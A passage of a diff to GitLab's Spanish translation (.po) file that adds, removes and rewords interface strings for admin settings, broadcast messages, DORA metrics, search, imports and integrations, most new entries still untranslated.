+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "Establezca el límite a 0 para desactivarlo."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr "AdminUsers|Información importante sobre el uso en su instancia de GitLa
msgid "AdminUsers|Is using seat"
msgstr "Está utilizando un asiento"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr "Se dejarán los proyectos personales"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Los proyectos personales, los grupos y el historial de usuario se quedarán intactos"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Cuota de minutos de CI/CD"
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr "Se ha producido un error al añadir el título formateado para la tarea
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr "Se ha producido un error al autorizar su rol"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Se ha producido un error durante la comprobación de ruta del grupo. Por favor, actualice y vuelva a intentarlo."
@@ -4408,15 +4447,6 @@ msgstr "Se ha producido un error al cargar los merge requests."
msgid "An error occurred while loading projects."
msgstr "Se ha producido un error al cargar los proyectos."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "Se ha producido un error al cargar la pestaña Trabajos."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "Se ha producido un error al cargar la pestaña de informes de prueba."
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "Se ha producido un error al cargar el merge request."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Se ha producido un error al cargar la configuración de notificaciones. Por favor, inténtelo de nuevo."
-msgid "An error occurred while loading the pipeline."
-msgstr "Se ha producido un error al cargar el pipeline."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Se ha producido un error al cargar los trabajos de los pipelines."
@@ -4704,6 +4731,18 @@ msgstr "Añadir el comentario con %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Añadir el comentario con %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplicación"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr "Aplicando sugerencia..."
msgid "Applying suggestions..."
msgstr "Aplicando sugerencias..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Reglas de aprobación"
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr "Sección: %section"
@@ -5629,6 +5671,9 @@ msgstr "Cancelar edición"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr "Eliminar %{link}"
@@ -5644,12 +5689,18 @@ msgstr "Los destinos reciben todos los datos del evento de auditoría"
msgid "AuditStreams|Edit %{link}"
msgstr "Editar %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "AuditStreams|Cabecera"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "Se alcanzó el número máximo de %{number} encabezados HTTP."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr "El mensaje de difusión se actualizó correctamente."
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Examinar directorio"
@@ -7820,6 +7955,9 @@ msgstr "No se puede promocionar la incidencia porque no pertenece a un grupo."
msgid "Cannot promote issue due to insufficient permissions."
msgstr "No se puede promocionar la incidencia debido a la falta de permisos."
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,14 +8069,11 @@ msgstr "Cambia su contraseña"
msgid "Change your password or recover your current one"
msgstr "Cambia o recuperar su contraseña"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "Revisor cambiado de %{old} a %{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "Revisor cambiado a %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Sin asignar"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr "Continuar con el pago"
msgid "Checkout|Country"
msgstr "País"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Crear un nuevo grupo"
@@ -8379,12 +8517,6 @@ msgstr "Hijo"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "La subtarea épica no existe."
-
-msgid "Child epic doesn't exist."
-msgstr "La subtarea épica no existe."
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr "Estado"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Tipo"
@@ -8693,6 +8828,9 @@ msgstr "Haga clic en el enlace a continuación para confirmar su dirección de c
msgid "Click the link below to confirm your email address."
msgstr "Haga clic en el enlace a continuación para confirmar su dirección de correo electrónico."
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Haga clic para expandir."
@@ -8795,12 +8933,18 @@ msgstr "Incidencias cerradas"
msgid "Closed this %{quick_action_target}."
msgstr "Cerrado este %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Cerrado: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Cierra este %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Por cada nueva cuenta de Google Cloud Platform (GCP) recibe $300 de crédito %{sign_up_link}. En colaboración con Google, Gitlab le ofrece $200 adicionales para cuentas nuevas o cuentas ya existentes de Google Compute Platform para empezar con la integración de GitLab con Google Kubernetes Engine."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Se ha producido un error al configurar el proveedor de EKS: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Se ha producido un error al configurar el cluster de Google Kubernetes Engine: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "Se ha producido un error al recuperar el stack de CloudFormation: %{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Se ha producido un error al hacer una petición a Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Se ha producido un error al ejecutar Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integración GitLab"
@@ -9969,6 +10098,9 @@ msgstr "No se encontraron merge requests relacionados"
msgid "Committed by"
msgstr "Enviado por"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Foro de la comunidad"
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "Continuar con el siguiente paso"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Integración y entrega continua"
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr "País"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr "Tiempo medio (últimos %{days} días)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "La mediana de tiempo en el que se abrió un incidente en un entorno de producción a lo largo de un período determinado."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Número de incidentes divididos por el número de depliegues en un entorno de producción en el período de tiempo determinado."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Porcentaje de depliegues fallidos"
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr "DORA4Metrics|Tiempo para restaurar el servicio"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr "DSN"
@@ -12290,9 +12467,6 @@ msgstr "Todos"
msgid "DashboardProjects|Personal"
msgstr "Personal"
-msgid "DashboardProjects|Trending"
-msgstr "Tendencia"
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr "DeletionSettings|Protección contra eliminación"
msgid "DeletionSettings|Keep deleted"
msgstr "DeletionSettings|Mantener eliminado"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "DeletionSettings|Mantener los proyectos eliminados durante %{number} días"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "DeletionSettings|Mantener los proyectos eliminados durante 1 día"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr "DeletionSettings|Ninguno, eliminar inmediatamente"
@@ -13279,6 +13452,9 @@ msgstr "Nombre del componente"
msgid "Dependencies|Dependency path"
msgstr "Ruta de dependencias"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Exportar como JSON"
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr "Adopción DevOps"
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr "Diferencia entre la fecha de inicio y ahora"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14746,6 +14943,9 @@ msgstr "Prueba de seguridad de aplicaciones dinámica (DAST)"
msgid "E-mail:"
msgstr "Correo electrónico:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,11 +16143,8 @@ msgstr "Error: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr "Error: No se han proporcionado credenciales AWS"
-
-msgid "Error: No AWS provision role found for user"
-msgstr "Error: No se ha encontrado el rol de provisión AWS para el usuario"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
+msgstr ""
msgid "Error: Unable to create deploy freeze"
msgstr ""
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr "Caduca"
msgid "Expires %{preposition} %{expires_at}"
msgstr "Expira %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr "Caduca el"
-
msgid "Expires:"
msgstr "Caduca:"
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr "Explorar fragmentos de código"
-msgid "Explore topics"
-msgstr "Explorar temas"
-
msgid "Export"
msgstr "Exportar"
@@ -16813,9 +17001,6 @@ msgstr "Se ha producido un error al mover esta incidencia debido a que solo se p
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Se ha producido un error al mover esta incidencia debido a que el proyecto de destino no existe."
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Se ha producido un erro al promocionar la etiqueta debido a un error interno. Por favor, póngase en contacto con los administradores."
@@ -17241,9 +17426,6 @@ msgstr "Filtrar por"
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr "Filtrar por revisión de Git"
-
msgid "Filter by issues that are currently closed."
msgstr "Filtrar por incidencias que están actualmente cerradas."
@@ -17562,18 +17744,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Formato: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Se han encontrado errores en su archivo %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Se han encontrado errores en su fichero .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17669,6 +17848,9 @@ msgstr "ID de la clave GPG:"
msgid "GPG Keys"
msgstr "Claves GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "Las claves GPG le permiten verificar los commits firmados."
@@ -18327,9 +18509,6 @@ msgstr "Primeros pasos con las versiones"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "Accesos directos globales"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr " %{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr "Grupos"
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "Proyectos"
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "Buscar en GitLab"
@@ -18809,9 +19003,15 @@ msgstr "Se están cargando los resultados de la búsqueda"
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr "Se ha programado el grupo %{group_name} para su eliminación."
msgid "Group %{group_name} was successfully created."
msgstr "El grupo %{group_name} se actualizó correctamente."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Al organizar sus proyectos como un grupo, estos funcionan de la misma forma que una carpeta."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "No se encuentran grupos"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "No hay subgrupos ni proyectos."
@@ -19838,6 +20050,9 @@ msgstr "Importar grupo"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Importar grupos desde otra instancia de GitLab"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr "Token de acceso personal"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr "Ruta del archivo HAR o URL"
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr "Si utiliza GitHub, verá los estados del pipeline en GitHub para sus com
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "URL de importación bloqueada: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Error al importar el repositorio %{project_safe_import_url} en %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Se ha producido un error al importar el proyecto"
@@ -22006,7 +22251,7 @@ msgstr "Insights"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr "URL base de la instancia de Jira."
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "¿Está seguro de que desea proceder?"
@@ -23933,9 +24193,6 @@ msgstr "Clúster de Kubernetes"
msgid "Kubernetes cluster"
msgstr "Clúster de Kubernetes"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "El tiempo de creación del clúster de Kubernetes excede el tiempo de espera; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "La integración del cluster de Kubernetes y los recursos se están eliminando."
@@ -24096,9 +24353,6 @@ msgstr "Último Pipeline"
msgid "Last Seen"
msgstr "Visto por última vez"
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr "Obtener mas información"
msgid "Learn More."
